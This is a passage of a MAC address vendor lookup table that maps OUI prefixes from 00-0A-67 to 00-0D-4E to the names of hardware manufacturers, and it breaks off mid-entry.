+00-0A-67:OngCorp +00-0A-68:SolarFlare Communications, Inc. +00-0A-69:SUNNY bell Technology Co., Ltd. +00-0A-6A:SVM Microwaves s.r.o. +00-0A-6B:Tadiran Telecom Business Systems LTD +00-0A-6C:Walchem Corporation +00-0A-6D:EKS Elektronikservice GmbH +00-0A-6E:Broadcast Technology Limited +00-0A-6F:ZyTera Technologies Inc. +00-0A-70:MPLS Forum +00-0A-71:Avrio Technologies, Inc +00-0A-72:SimpleTech, Inc. +00-0A-73:Scientific Atlanta +00-0A-74:Manticom Networks Inc. +00-0A-75:Cat Electronics +00-0A-76:Beida Jade Bird Huaguang Technology Co.,Ltd +00-0A-77:Bluewire Technologies LLC +00-0A-78:OLITEC +00-0A-79:corega K.K. +00-0A-7A:Kyoritsu Electric Co., Ltd. +00-0A-7B:Cornelius Consult +00-0A-7C:Tecton Ltd +00-0A-7D:Valo, Inc. +00-0A-7E:The Advantage Group +00-0A-7F:Teradon Industries, Inc +00-0A-80:Telkonet Inc. +00-0A-81:TEIMA Audiotex S.L. +00-0A-82:TATSUTA SYSTEM ELECTRONICS CO.,LTD. +00-0A-83:SALTO SYSTEMS S.L. +00-0A-84:Rainsun Enterprise Co., Ltd. +00-0A-85:PLAT'C2,Inc +00-0A-86:Lenze +00-0A-87:Integrated Micromachines Inc. +00-0A-88:InCypher S.A. +00-0A-89:Creval Systems, Inc. +00-0A-8A:Cisco Systems +00-0A-8B:Cisco Systems +00-0A-8C:Guardware Systems Ltd. +00-0A-8D:EUROTHERM LIMITED +00-0A-8E:Invacom Ltd +00-0A-8F:Aska International Inc. +00-0A-90:Bayside Interactive, Inc. +00-0A-91:HemoCue AB +00-0A-92:Presonus Corporation +00-0A-93:W2 Networks, Inc. +00-0A-94:ShangHai cellink CO., LTD +00-0A-95:Apple Computer, Inc. +00-0A-96:MEWTEL TECHNOLOGY INC. +00-0A-97:SONICblue, Inc. +00-0A-98:M+F Gwinner GmbH & Co +00-0A-99:Dataradio Inc. +00-0A-9A:Aiptek International Inc +00-0A-9B:Towa Meccs Corporation +00-0A-9C:Server Technology, Inc. +00-0A-9D:King Young Technology Co. Ltd. +00-0A-9E:BroadWeb Corportation +00-0A-9F:Pannaway Technologies, Inc. +00-0A-A0:Cedar Point Communications +00-0A-A1:V V S Limited +00-0A-A2:SYSTEK INC. +00-0A-A3:SHIMAFUJI ELECTRIC CO.,LTD. +00-0A-A4:SHANGHAI SURVEILLANCE TECHNOLOGY CO,LTD +00-0A-A5:MAXLINK INDUSTRIES LIMITED +00-0A-A6:Hochiki Corporation +00-0A-A7:FEI Company +00-0A-A8:ePipe Pty. Ltd. +00-0A-A9:Brooks Automation GmbH +00-0A-AA:AltiGen Communications Inc. +00-0A-AB:TOYOTA MACS, INC. +00-0A-AC:TerraTec Electronic GmbH +00-0A-AD:Stargames Corporation +00-0A-AE:Rosemount Process Analytical +00-0A-AF:Pipal Systems +00-0A-B0:LOYTEC electronics GmbH +00-0A-B1:GENETEC Corporation +00-0A-B2:Fresnel Wireless Systems +00-0A-B3:Fa. GIRA +00-0A-B4:ETIC Telecommunications +00-0A-B5:Digital Electronic Network +00-0A-B6:COMPUNETIX, INC +00-0A-B7:Cisco Systems +00-0A-B8:Cisco Systems +00-0A-B9:Astera Technologies Corp. +00-0A-BA:Arcon Technology Limited +00-0A-BB:Taiwan Secom Co,. Ltd +00-0A-BC:Seabridge Ltd. +00-0A-BD:Rupprecht & Patashnick Co. +00-0A-BE:OPNET Technologies CO., LTD. +00-0A-BF:HIROTA SS +00-0A-C0:Fuyoh Video Industry CO., LTD. +00-0A-C1:Futuretel +00-0A-C2:FiberHome Telecommunication Technologies CO.,LTD +00-0A-C3:eM Technics Co., Ltd. +00-0A-C4:Daewoo Teletech Co., Ltd +00-0A-C5:Color Kinetics +00-0A-C6:PRIVATE +00-0A-C7:Unication Group +00-0A-C8:ZPSYS CO.,LTD. (Planning&Management) +00-0A-C9:Zambeel Inc +00-0A-CA:YOKOYAMA SHOKAI CO.,Ltd. +00-0A-CB:XPAK MSA Group +00-0A-CC:Winnow Networks, Inc. +00-0A-CD:Sunrich Technology Limited +00-0A-CE:RADIANTECH, INC. +00-0A-CF:PROVIDEO Multimedia Co. Ltd. +00-0A-D0:Niigata Develoment Center, F.I.T. Co., Ltd. +00-0A-D1:MWS +00-0A-D2:JEPICO Corporation +00-0A-D3:INITECH Co., Ltd +00-0A-D4:CoreBell Systems Inc. +00-0A-D5:Brainchild Electronic Co., Ltd. +00-0A-D6:BeamReach Networks +00-0A-D7:PRIVATE +00-0A-D8:IPCserv Technology Corp. +00-0A-D9:Sony Ericsson Mobile Communications AB +00-0A-DA:PRIVATE +00-0A-DB:SkyPilot Network, Inc +00-0A-DC:RuggedCom Inc. +00-0A-DD:InSciTek Microsystems, Inc. +00-0A-DE:Happy Communication Co., Ltd. +00-0A-DF:Gennum Corporation +00-0A-E0:Fujitsu Softek +00-0A-E1:EG Technology +00-0A-E2:Binatone Electronics International, Ltd +00-0A-E3:YANG MEI TECHNOLOGY CO., LTD +00-0A-E4:Wistron Corp. +00-0A-E5:ScottCare Corporation +00-0A-E6:Elitegroup Computer System Co. (ECS) +00-0A-E7:ELIOP S.A. +00-0A-E8:Cathay Roxus Information Technology Co. LTD +00-0A-E9:AirVast Technology Inc. +00-0A-EA:ADAM ELEKTRONIK LTD.STI. +00-0A-EB:Shenzhen Tp-link Technology Co; Ltd. +00-0A-EC:Koatsu Gas Kogyo Co., Ltd. +00-0A-ED:HARTING Vending G.m.b.H. & CO KG +00-0A-EE:GCD Hard- & Software GmbH +00-0A-EF:OTRUM ASA +00-0A-F0:SHIN-OH ELECTRONICS CO., LTD. R&D +00-0A-F1:Clarity Design, Inc. +00-0A-F2:NeoAxiom Corp. +00-0A-F3:Cisco Systems +00-0A-F4:Cisco Systems +00-0A-F5:Airgo Networks, Inc. +00-0A-F6:Computer Process Controls +00-0A-F7:Broadcom Corp. +00-0A-F8:American Telecare Inc. +00-0A-F9:HiConnect, Inc. +00-0A-FA:Traverse Technologies Australia +00-0A-FB:Ambri Limited +00-0A-FC:Core Tec Communications, LLC +00-0A-FD:Viking Electronic Services +00-0A-FE:NovaPal Ltd +00-0A-FF:Kilchherr Elektronik AG +00-0B-00:FUJIAN START COMPUTER EQUIPMENT CO.,LTD +00-0B-01:DAIICHI ELECTRONICS CO., LTD. +00-0B-02:Dallmeier electronic +00-0B-03:Taekwang Industrial Co., Ltd +00-0B-04:Volktek Corporation +00-0B-05:Pacific Broadband Networks +00-0B-06:Motorola BCS +00-0B-07:Voxpath Networks +00-0B-08:Pillar Data Systems +00-0B-09:Ifoundry Systems Singapore +00-0B-0A:dBm Optics +00-0B-0B:Corrent Corporation +00-0B-0C:Agile Systems Inc. +00-0B-0D:Air2U, Inc. +00-0B-0E:Trapeze Networks +00-0B-0F:Nyquist Industrial Control BV +00-0B-10:11wave Technonlogy Co.,Ltd +00-0B-11:HIMEJI ABC TRADING CO.,LTD. +00-0B-12:NURI Telecom Co., Ltd. +00-0B-13:ZETRON INC +00-0B-14:ViewSonic Corporation +00-0B-15:Platypus Technology +00-0B-16:Communication Machinery Corporation +00-0B-17:MKS Instruments +00-0B-18:PRIVATE +00-0B-19:Vernier Networks, Inc. +00-0B-1A:Teltone Corporation +00-0B-1B:Systronix, Inc. +00-0B-1C:PRIVATE +00-0B-1D:LayerZero Power Systems, Inc. +00-0B-1E:KAPPA opto-electronics GmbH +00-0B-1F:I CON Computer Co. +00-0B-20:Hirata corporation +00-0B-21:G-Star Communications Inc. +00-0B-22:Environmental Systems and Services +00-0B-23:Efficient Networks, Inc. +00-0B-24:AirLogic +00-0B-25:Aeluros +00-0B-26:Wetek Corporation +00-0B-27:Scion Corporation +00-0B-28:Quatech Inc. +00-0B-29:LG Industrial Systems Co.,Ltd. +00-0B-2A:HOWTEL Co., Ltd. +00-0B-2B:HOSTNET CORPORATION +00-0B-2C:Eiki Industrial Co. Ltd. +00-0B-2D:Danfoss Inc. +00-0B-2E:Cal-Comp Electronics (Thailand) Public Company Limited Taipe +00-0B-2F:bplan GmbH +00-0B-30:Beijing Gongye Science & Technology Co.,Ltd +00-0B-31:Yantai ZhiYang Scientific and technology industry CO., LTD +00-0B-32:VORMETRIC, INC. +00-0B-33:Vivato +00-0B-34:ShangHai Broadband Technologies CO.LTD +00-0B-35:Quad Bit System co., Ltd. +00-0B-36:Productivity Systems, Inc. +00-0B-37:MANUFACTURE DES MONTRES ROLEX SA +00-0B-38:Knuerr AG +00-0B-39:Keisoku Giken Co.,Ltd. +00-0B-3A:Fortel DTV, Inc. +00-0B-3B:devolo AG +00-0B-3C:Cygnal Integrated Products, Inc. +00-0B-3D:CONTAL OK Ltd. +00-0B-3E:BittWare, Inc +00-0B-3F:Anthology Solutions Inc. +00-0B-40:OpNext Inc. +00-0B-41:Ing. Buero Dr. Beutlhauser +00-0B-42:commax Co., Ltd. +00-0B-43:Microscan Systems, Inc. +00-0B-44:Concord IDea Corp. +00-0B-45:Cisco +00-0B-46:Cisco +00-0B-47:Advanced Energy +00-0B-48:sofrel +00-0B-49:RF-Link System Inc. +00-0B-4A:Visimetrics (UK) Ltd +00-0B-4B:VISIOWAVE SA +00-0B-4C:Clarion (M) Sdn Bhd +00-0B-4D:Emuzed +00-0B-4E:VertexRSI Antenna Products Division +00-0B-4F:Verifone, INC. +00-0B-50:Oxygnet +00-0B-51:Micetek International Inc. +00-0B-52:JOYMAX ELECTRONICS CORP. +00-0B-53:INITIUM Co., Ltd. +00-0B-54:BiTMICRO Networks, Inc. +00-0B-55:ADInstruments +00-0B-56:Cybernetics +00-0B-57:Silicon Laboratories +00-0B-58:Astronautics C.A LTD +00-0B-59:ScriptPro, LLC +00-0B-5A:HyperEdge +00-0B-5B:Rincon Research Corporation +00-0B-5C:Newtech Co.,Ltd +00-0B-5D:FUJITSU LIMITED +00-0B-5E:ATMAVA Ltd +00-0B-5F:Cisco Systems +00-0B-60:Cisco Systems +00-0B-61:Friedrich Ltze GmbH &Co. +00-0B-62:Ingenieurbro Ingo Mohnen +00-0B-63:Kaleidescape +00-0B-64:Kieback & Peter GmbH & Co KG +00-0B-65:Sy.A.C. srl +00-0B-66:Teralink Communications +00-0B-67:Topview Technology Corporation +00-0B-68:Addvalue Communications Pte Ltd +00-0B-69:Franke Finland Oy +00-0B-6A:Asiarock Incorporation +00-0B-6B:Wistron Neweb Corp. +00-0B-6C:Sychip Inc. +00-0B-6D:SOLECTRON JAPAN NAKANIIDA +00-0B-6E:Neff Instrument Corp. +00-0B-6F:Media Streaming Networks Inc +00-0B-70:Load Technology, Inc. +00-0B-71:Litchfield Communications Inc. +00-0B-72:Lawo AG +00-0B-73:Kodeos Communications +00-0B-74:Kingwave Technology Co., Ltd. +00-0B-75:Iosoft Ltd. +00-0B-76:ET&T Co. Ltd. +00-0B-77:Cogent Systems, Inc. +00-0B-78:TAIFATECH INC. +00-0B-79:X-COM, Inc. +00-0B-7A:Wave Science Inc. +00-0B-7B:Test-Um Inc. +00-0B-7C:Telex Communications +00-0B-7D:SOLOMON EXTREME INTERNATIONAL LTD. +00-0B-7E:SAGINOMIYA Seisakusho Inc. +00-0B-7F:OmniWerks +00-0B-80:PRIVATE +00-0B-81:Kaparel Corporation +00-0B-82:Grandstream Networks, Inc. +00-0B-83:DATAWATT B.V. +00-0B-84:BODET +00-0B-85:Airespace, Inc. +00-0B-86:Aruba Networks +00-0B-87:American Reliance Inc. +00-0B-88:Vidisco ltd. +00-0B-89:Top Global Technology, Ltd. +00-0B-8A:MITEQ Inc. +00-0B-8B:KERAJET, S.A. +00-0B-8C:flextronics israel +00-0B-8D:Avvio Networks +00-0B-8E:Ascent Corporation +00-0B-8F:AKITA ELECTRONICS SYSTEMS CO.,LTD. +00-0B-90:Covaro Networks, Inc. +00-0B-91:Aglaia Gesellschaft fr Bildverarbeitung und Kommunikation m +00-0B-92:Ascom Danmark A/S +00-0B-93:Barmag Electronic +00-0B-94:Digital Monitoring Products, Inc. +00-0B-95:eBet Gaming Systems Pty Ltd +00-0B-96:Innotrac Diagnostics Oy +00-0B-97:Matsushita Electric Industrial Co.,Ltd. +00-0B-98:NiceTechVision +00-0B-99:SensAble Technologies, Inc. +00-0B-9A:Shanghai Ulink Telecom Equipment Co. Ltd. +00-0B-9B:Sirius System Co, Ltd. +00-0B-9C:TriBeam Technologies, Inc. +00-0B-9D:TwinMOS Technologies Inc. +00-0B-9E:Yasing Technology Corp. +00-0B-9F:Neue ELSA GmbH +00-0B-A0:T&L Information Inc. +00-0B-A1:SYSCOM Ltd. +00-0B-A2:Sumitomo Electric Networks, Inc +00-0B-A3:Siemens AG, I&S +00-0B-A4:Shiron Satellite Communications Ltd. (1996) +00-0B-A5:Quasar Cipta Mandiri, PT +00-0B-A6:Miyakawa Electric Works Ltd. +00-0B-A7:Maranti Networks +00-0B-A8:HANBACK ELECTRONICS CO., LTD. +00-0B-A9:CloudShield Technologies, Inc. +00-0B-AA:Aiphone co.,Ltd +00-0B-AB:Advantech Technology (CHINA) Co., Ltd. +00-0B-AC:3Com Europe Ltd. +00-0B-AD:PC-PoS Inc. +00-0B-AE:Vitals System Inc. +00-0B-AF:WOOJU COMMUNICATIONS Co,.Ltd +00-0B-B0:Sysnet Telematica srl +00-0B-B1:Super Star Technology Co., Ltd. +00-0B-B2:SMALLBIG TECHNOLOGY +00-0B-B3:RiT technologies Ltd. +00-0B-B4:RDC Semiconductor Inc., +00-0B-B5:nStor Technologies, Inc. +00-0B-B6:Mototech Inc. +00-0B-B7:Micro Systems Co.,Ltd. +00-0B-B8:Kihoku Electronic Co. +00-0B-B9:Imsys AB +00-0B-BA:Harmonic Broadband Access Networks +00-0B-BB:Etin Systems Co., Ltd +00-0B-BC:En Garde Systems, Inc. +00-0B-BD:Connexionz Limited +00-0B-BE:Cisco Systems +00-0B-BF:Cisco Systems +00-0B-C0:China IWNComm Co., Ltd. +00-0B-C1:Bay Microsystems, Inc. +00-0B-C2:Corinex Communication Corp. +00-0B-C3:Multiplex, Inc. +00-0B-C4:BIOTRONIK GmbH & Co +00-0B-C5:SMC Networks, Inc. +00-0B-C6:ISAC, Inc. +00-0B-C7:ICET S.p.A. +00-0B-C8:AirFlow Networks +00-0B-C9:Electroline Equipment +00-0B-CA:DATAVAN International Corporation +00-0B-CB:Fagor Automation , S. Coop +00-0B-CC:JUSAN, S.A. +00-0B-CD:Compaq (HP) +00-0B-CE:Free2move AB +00-0B-CF:AGFA NDT INC. +00-0B-D0:XiMeta Technology Americas Inc. +00-0B-D1:Aeronix, Inc. +00-0B-D2:Remopro Technology Inc. +00-0B-D3:cd3o +00-0B-D4:Beijing Wise Technology & Science Development Co.Ltd +00-0B-D5:Nvergence, Inc. +00-0B-D6:Paxton Access Ltd +00-0B-D7:MBB Gelma GmbH +00-0B-D8:Industrial Scientific Corp. +00-0B-D9:General Hydrogen +00-0B-DA:EyeCross Co.,Inc. +00-0B-DB:Dell ESG PCBA Test +00-0B-DC:AKCP +00-0B-DD:TOHOKU RICOH Co., LTD. +00-0B-DE:PRIVATE +00-0B-DF:Shenzhen RouterD Networks Limited +00-0B-E0:SercoNet Ltd. +00-0B-E1:PRIVATE +00-0B-E2:Lumenera Corporation +00-0B-E3:Key Stream Co., Ltd. +00-0B-E4:Hosiden Corporation +00-0B-E5:HIMS Korea Co., Ltd. +00-0B-E6:Datel Electronics +00-0B-E7:COMFLUX TECHNOLOGY INC. +00-0B-E8:AOIP +00-0B-E9:PRIVATE +00-0B-EA:Zultys Technologies +00-0B-EB:Systegra AG +00-0B-EC:NIPPON ELECTRIC INSTRUMENT, INC. +00-0B-ED:ELM Inc. +00-0B-EE:inc.jet, Incorporated +00-0B-EF:Code Corporation +00-0B-F0:MoTEX Products Co., Ltd. +00-0B-F1:LAP Laser Applikations +00-0B-F2:Chih-Kan Technology Co., Ltd. +00-0B-F3:BAE SYSTEMS +00-0B-F4:PRIVATE +00-0B-F5:Shanghai Sibo Telecom Technology Co.,Ltd +00-0B-F6:Nitgen Co., Ltd +00-0B-F7:NIDEK CO.,LTD +00-0B-F8:Infinera +00-0B-F9:Gemstone communications, Inc. +00-0B-FA:PRIVATE +00-0B-FB:D-NET International Corporation +00-0B-FC:Cisco Systems +00-0B-FD:Cisco Systems +00-0B-FE:CASTEL Broadband Limited +00-0B-FF:Berkeley Camera Engineering +00-0C-00:BEB Industrie-Elektronik AG +00-0C-01:Abatron AG +00-0C-02:ABB Oy +00-0C-03:HDMI Licensing, LLC +00-0C-04:Tecnova +00-0C-05:RPA Reserch Co., Ltd. +00-0C-06:Nixvue Systems Pte Ltd +00-0C-07:Iftest AG +00-0C-08:HUMEX Technologies Corp. +00-0C-09:Hitachi IE Systems Co., Ltd +00-0C-0A:Guangdong Province Electronic Technology Research Institute +00-0C-0B:Broadbus Technologies +00-0C-0C:APPRO TECHNOLOGY INC. +00-0C-0D:Communications & Power Industries / Satcom Division +00-0C-0E:XtremeSpectrum, Inc. +00-0C-0F:Techno-One Co., Ltd +00-0C-10:PNI Corporation +00-0C-11:NIPPON DEMPA CO.,LTD. +00-0C-12:Micro-Optronic-Messtechnik GmbH +00-0C-13:MediaQ +00-0C-14:Diagnostic Instruments, Inc. +00-0C-15:CyberPower Systems, Inc. +00-0C-16:Concorde Microsystems Inc. +00-0C-17:AJA Video Systems Inc +00-0C-18:Zenisu Keisoku Inc. +00-0C-19:Telio Communications GmbH +00-0C-1A:Quest Technical Solutions Inc. +00-0C-1B:ORACOM Co, Ltd. +00-0C-1C:MicroWeb Co., Ltd. +00-0C-1D:Mettler & Fuchs AG +00-0C-1E:Global Cache +00-0C-1F:Glimmerglass Networks +00-0C-20:Fi WIn, Inc. +00-0C-21:Faculty of Science and Technology, Keio University +00-0C-22:Double D Electronics Ltd +00-0C-23:Beijing Lanchuan Tech. Co., Ltd. +00-0C-24:PRIVATE +00-0C-25:Allied Telesyn Networks +00-0C-26:Weintek Labs. Inc. +00-0C-27:Sammy Corporation +00-0C-28:RIFATRON +00-0C-29:VMware, Inc. +00-0C-2A:OCTTEL Communication Co., Ltd. +00-0C-2B:ELIAS Technology, Inc. +00-0C-2C:Enwiser Inc. +00-0C-2D:FullWave Technology Co., Ltd. +00-0C-2E:Openet information technology(shenzhen) Co., Ltd. +00-0C-2F:SeorimTechnology Co.,Ltd. +00-0C-30:Cisco +00-0C-31:Cisco +00-0C-32:Avionic Design Development GmbH +00-0C-33:Compucase Enterprise Co. Ltd. +00-0C-34:Vixen Co., Ltd. +00-0C-35:KaVo Dental GmbH & Co. KG +00-0C-36:SHARP TAKAYA ELECTRONICS INDUSTRY CO.,LTD. +00-0C-37:Geomation, Inc. +00-0C-38:TelcoBridges Inc. +00-0C-39:Sentinel Wireless Inc. +00-0C-3A:Oxance +00-0C-3B:Orion Electric Co., Ltd. +00-0C-3C:MediaChorus, Inc. +00-0C-3D:Glsystech Co., Ltd. +00-0C-3E:Crest Audio +00-0C-3F:Cogent Defence & Security Networks, +00-0C-40:Altech Controls +00-0C-41:The Linksys Group, Inc. +00-0C-42:Routerboard.com +00-0C-43:Ralink Technology, Corp. +00-0C-44:Automated Interfaces, Inc. +00-0C-45:Animation Technologies Inc. +00-0C-46:Allied Telesyn Inc. +00-0C-47:SK Teletech(R&D Planning Team) +00-0C-48:QoStek Corporation +00-0C-49:Dangaard Telecom RTC Division A/S +00-0C-4A:Cygnus Microsystems Private Limited +00-0C-4B:Cheops Elektronik +00-0C-4C:Arcor AG&Co. +00-0C-4D:ACRA CONTROL +00-0C-4E:Winbest Technology CO,LT +00-0C-4F:UDTech Japan Corporation +00-0C-50:Seagate Technology +00-0C-51:Scientific Technologies Inc. +00-0C-52:Roll Systems Inc. +00-0C-53:PRIVATE +00-0C-54:Pedestal Networks, Inc +00-0C-55:Microlink Communications Inc. +00-0C-56:Megatel Computer (1986) Corp. +00-0C-57:MACKIE Engineering Services Belgium BVBA +00-0C-58:M&S Systems +00-0C-59:Indyme Electronics, Inc. +00-0C-5A:IBSmm Industrieelektronik Multimedia +00-0C-5B:HANWANG TECHNOLOGY CO.,LTD +00-0C-5C:GTN Systems B.V. +00-0C-5D:CHIC TECHNOLOGY (CHINA) CORP. +00-0C-5E:PRIVATE +00-0C-5F:Avtec, Inc. +00-0C-60:ACM Systems +00-0C-61:AC Tech corporation DBA Advanced Digital +00-0C-62:ABB Automation Technology Products AB, Control +00-0C-63:Zenith Electronics Corporation +00-0C-64:X2 MSA Group +00-0C-65:Sunin Telecom +00-0C-66:Pronto Networks Inc +00-0C-67:OYO ELECTRIC CO.,LTD +00-0C-68:Oasis Semiconductor, Inc. +00-0C-69:National Radio Astronomy Observatory +00-0C-6A:MBARI +00-0C-6B:Kurz Industrie-Elektronik GmbH +00-0C-6C:Elgato Systems LLC +00-0C-6D:BOC Edwards +00-0C-6E:ASUSTEK COMPUTER INC. +00-0C-6F:Amtek system co.,LTD. +00-0C-70:ACC GmbH +00-0C-71:Wybron, Inc +00-0C-72:Tempearl Industrial Co., Ltd. +00-0C-73:TELSON ELECTRONICS CO., LTD +00-0C-74:RIVERTEC CORPORATION +00-0C-75:Oriental integrated electronics. LTD +00-0C-76:MICRO-STAR INTERNATIONAL CO., LTD. +00-0C-77:Life Racing Ltd +00-0C-78:In-Tech Electronics Limited +00-0C-79:Extel Communications P/L +00-0C-7A:DaTARIUS Technologies GmbH +00-0C-7B:ALPHA PROJECT Co.,Ltd. +00-0C-7C:Internet Information Image Inc. +00-0C-7D:TEIKOKU ELECTRIC MFG. CO., LTD +00-0C-7E:Tellium Incorporated +00-0C-7F:synertronixx GmbH +00-0C-80:Opelcomm Inc. +00-0C-81:Nulec Industries Pty Ltd +00-0C-82:NETWORK TECHNOLOGIES INC +00-0C-83:Logical Solutions +00-0C-84:Eazix, Inc. +00-0C-85:Cisco Systems +00-0C-86:Cisco Systems +00-0C-87:ATI +00-0C-88:Apache Micro Peripherals, Inc. +00-0C-89:AC Electric Vehicles, Ltd. +00-0C-8A:Bose Corporation +00-0C-8B:Connect Tech Inc +00-0C-8C:KODICOM CO.,LTD. +00-0C-8D:MATRIX VISION GmbH +00-0C-8E:Mentor Engineering Inc +00-0C-8F:Nergal s.r.l. +00-0C-90:Octasic Inc. +00-0C-91:Riverhead Networks Inc. +00-0C-92:WolfVision Gmbh +00-0C-93:Xeline Co., Ltd. +00-0C-94:United Electronic Industries, Inc. +00-0C-95:PrimeNet +00-0C-96:OQO, Inc. +00-0C-97:NV ADB TTV Technologies SA +00-0C-98:LETEK Communications Inc. +00-0C-99:HITEL LINK Co.,Ltd +00-0C-9A:Hitech Electronics Corp. +00-0C-9B:EE Solutions, Inc +00-0C-9C:Chongho information & communications +00-0C-9D:AirWalk Communications, Inc. +00-0C-9E:MemoryLink Corp. +00-0C-9F:NKE Corporation +00-0C-A0:StorCase Technology, Inc. +00-0C-A1:SIGMACOM Co., LTD. +00-0C-A2:Scopus Network Technologies Ltd +00-0C-A3:Rancho Technology, Inc. +00-0C-A4:Prompttec Product Management GmbH +00-0C-A5:PRIVATE +00-0C-A6:Mintera Corporation +00-0C-A7:Metro (Suzhou) Technologies Co., Ltd. +00-0C-A8:Garuda Networks Corporation +00-0C-A9:Ebtron Inc. +00-0C-AA:Cubic Transportation Systems Inc +00-0C-AB:COMMEND International +00-0C-AC:Citizen Watch Co., Ltd. +00-0C-AD:BTU International +00-0C-AE:Ailocom Oy +00-0C-AF:TRI TERM CO.,LTD. +00-0C-B0:Star Semiconductor Corporation +00-0C-B1:Salland Engineering (Europe) BV +00-0C-B2:safei Co., Ltd. +00-0C-B3:ROUND Co.,Ltd. +00-0C-B4:Propagate Networks, Inc +00-0C-B5:Premier Technolgies, Inc +00-0C-B6:NANJING SEU MOBILE & INTERNET TECHNOLOGY CO.,LTD +00-0C-B7:Nanjing Huazhuo Electronics Co., Ltd. +00-0C-B8:MEDION AG +00-0C-B9:LEA +00-0C-BA:Jamex +00-0C-BB:ISKRAEMECO +00-0C-BC:Iscutum +00-0C-BD:Interface Masters, Inc +00-0C-BE:PRIVATE +00-0C-BF:Holy Stone Ent. Co., Ltd. +00-0C-C0:Genera Oy +00-0C-C1:Cooper Industries Inc. +00-0C-C2:PRIVATE +00-0C-C3:BeWAN systems +00-0C-C4:Tiptel AG +00-0C-C5:Nextlink Co., Ltd. +00-0C-C6:Ka-Ro electronics GmbH +00-0C-C7:Intelligent Computer Solutions Inc. +00-0C-C8:Integrated Digital Systems, Inc. +00-0C-C9:ILWOO DATA & TECHNOLOGY CO.,LTD +00-0C-CA:Hitachi Global Storage Technologies +00-0C-CB:Design Combus Ltd +00-0C-CC:Bluesoft Ltd. +00-0C-CD:IEC - TC57 +00-0C-CE:Cisco Systems +00-0C-CF:Cisco Systems +00-0C-D0:Symetrix +00-0C-D1:SFOM Technology Corp. +00-0C-D2:Schaffner EMV AG +00-0C-D3:Prettl Elektronik Radeberg GmbH +00-0C-D4:Positron Public Safety Systems inc. +00-0C-D5:Passave Inc. +00-0C-D6:PARTNER TECH +00-0C-D7:Nallatech Ltd +00-0C-D8:M. K. Juchheim GmbH & Co +00-0C-D9:Itcare Co., Ltd +00-0C-DA:FreeHand Systems, Inc. +00-0C-DB:Foundry Networks +00-0C-DC:BECS Technology, Inc +00-0C-DD:AOS Technologies AG +00-0C-DE:ABB STOTZ-KONTAKT GmbH +00-0C-DF:PULNiX America, Inc +00-0C-E0:Trek Diagnostics Inc. +00-0C-E1:The Open Group +00-0C-E2:Rolls-Royce +00-0C-E3:Option International N.V. +00-0C-E4:NeuroCom International, Inc. +00-0C-E5:Motorola BCS +00-0C-E6:Meru Networks Inc +00-0C-E7:MediaTek Inc. +00-0C-E8:GuangZhou AnJuBao Co., Ltd +00-0C-E9:BLOOMBERG L.P. +00-0C-EA:aphona Kommunikationssysteme +00-0C-EB:CNMP Networks, Inc. +00-0C-EC:Spectracom Corp. +00-0C-ED:Real Digital Media +00-0C-EE:Q-Networks +00-0C-EF:Open Networks Engineering Ltd +00-0C-F0:M & N GmbH +00-0C-F1:Intel Corporation +00-0C-F2:GAMESA ELICA +00-0C-F3:CALL IMAGE SA +00-0C-F4:AKATSUKI ELECTRIC MFG.CO.,LTD. +00-0C-F5:InfoExpress +00-0C-F6:Sitecom Europe BV +00-0C-F7:Nortel Networks +00-0C-F8:Nortel Networks +00-0C-F9:ITT Flygt AB +00-0C-FA:Digital Systems Corp +00-0C-FB:Korea Network Systems +00-0C-FC:S2io Technologies Corp +00-0C-FD:PRIVATE +00-0C-FE:Grand Electronic Co., Ltd +00-0C-FF:MRO-TEK LIMITED +00-0D-00:Seaway Networks Inc. +00-0D-01:P&E Microcomputer Systems, Inc. +00-0D-02:NEC Access Technica,Ltd +00-0D-03:Matrics, Inc. +00-0D-04:Foxboro Eckardt Development GmbH +00-0D-05:cybernet manufacturing inc. +00-0D-06:Compulogic Limited +00-0D-07:Calrec Audio Ltd +00-0D-08:AboveCable, Inc. +00-0D-09:Yuehua(Zhuhai) Electronic CO. LTD +00-0D-0A:Projectiondesign as +00-0D-0B:Melco Inc. +00-0D-0C:MDI Security Systems +00-0D-0D:ITSupported, LLC +00-0D-0E:Inqnet Systems, Inc. +00-0D-0F:Finlux Ltd +00-0D-10:Embedtronics Oy +00-0D-11:DENTSPLY - Gendex +00-0D-12:AXELL Corporation +00-0D-13:Wilhelm Rutenbeck GmbH&Co. +00-0D-14:Vtech Innovation LP dba Advanced American Telephones +00-0D-15:Voipac s.r.o. +00-0D-16:UHS Systems Pty Ltd +00-0D-17:Turbo Networks Co.Ltd +00-0D-18:Sunitec Enterprise Co., Ltd. +00-0D-19:ROBE Show lighting +00-0D-1A:Mustek System Inc. +00-0D-1B:Kyoto Electronics Manufacturing Co., Ltd. +00-0D-1C:I2E TELECOM +00-0D-1D:HIGH-TEK HARNESS ENT. CO., LTD. +00-0D-1E:Control Techniques +00-0D-1F:AV Digital +00-0D-20:ASAHIKASEI TECHNOSYSTEM CO.,LTD. +00-0D-21:WISCORE Inc. +00-0D-22:Unitronics +00-0D-23:Smart Solution, Inc +00-0D-24:SENTEC E&E CO., LTD. +00-0D-25:SANDEN CORPORATION +00-0D-26:Primagraphics Limited +00-0D-27:MICROPLEX Printware AG +00-0D-28:Cisco +00-0D-29:Cisco +00-0D-2A:Scanmatic AS +00-0D-2B:Racal Instruments +00-0D-2C:Patapsco Designs Ltd +00-0D-2D:NCT Deutschland GmbH +00-0D-2E:Matsushita Avionics Systems Corporation +00-0D-2F:AIN Comm.Tech.Co., LTD +00-0D-30:IceFyre Semiconductor +00-0D-31:Compellent Technologies, Inc. +00-0D-32:DispenseSource, Inc. +00-0D-33:Prediwave Corp. +00-0D-34:Shell International Exploration and Production, Inc. +00-0D-35:PAC International Ltd +00-0D-36:Wu Han Routon Electronic Co., Ltd +00-0D-37:WIPLUG +00-0D-38:NISSIN INC. +00-0D-39:Network Electronics +00-0D-3A:Microsoft Corp. +00-0D-3B:Microelectronics Technology Inc. +00-0D-3C:i.Tech Dynamic Ltd +00-0D-3D:PRIVATE +00-0D-3E:APLUX Communications Ltd. +00-0D-3F:VXI Technology +00-0D-40:Verint Loronix Video Solutions +00-0D-41:Siemens AG ICM MP UC RD IT KLF1 +00-0D-42:Newbest Development Limited +00-0D-43:DRS Tactical Systems Inc. +00-0D-44:PRIVATE +00-0D-45:Tottori SANYO Electric Co., Ltd. +00-0D-46:Eurotherm Drives, Ltd. +00-0D-47:Collex +00-0D-48:AEWIN Technologies Co., Ltd. +00-0D-49:Triton Systems of Delaware, Inc. +00-0D-4A:Steag ETA-Optik +00-0D-4B:Roku, LLC +00-0D-4C:Outline Electronics Ltd. +00-0D-4D:Ninelanes +00-0D-4E:NDR 